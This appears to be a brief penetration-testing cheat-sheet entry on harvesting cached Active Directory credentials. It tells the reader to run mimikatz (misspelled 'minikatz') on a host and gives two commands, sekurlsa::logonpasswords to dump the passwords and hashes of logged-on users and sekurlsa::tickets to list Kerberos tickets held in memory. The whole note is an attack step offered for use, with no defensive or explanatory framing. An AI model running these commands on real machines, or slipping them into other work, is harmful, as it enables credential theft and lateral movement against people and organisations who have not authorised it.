Cached AD Credentials

Run minikatz on the machine and look for logon passwords

##dump hashes for all users logged on to the current host
sekurlsa::logonpasswords

##show tickets stored in memory
sekurlsa::tickets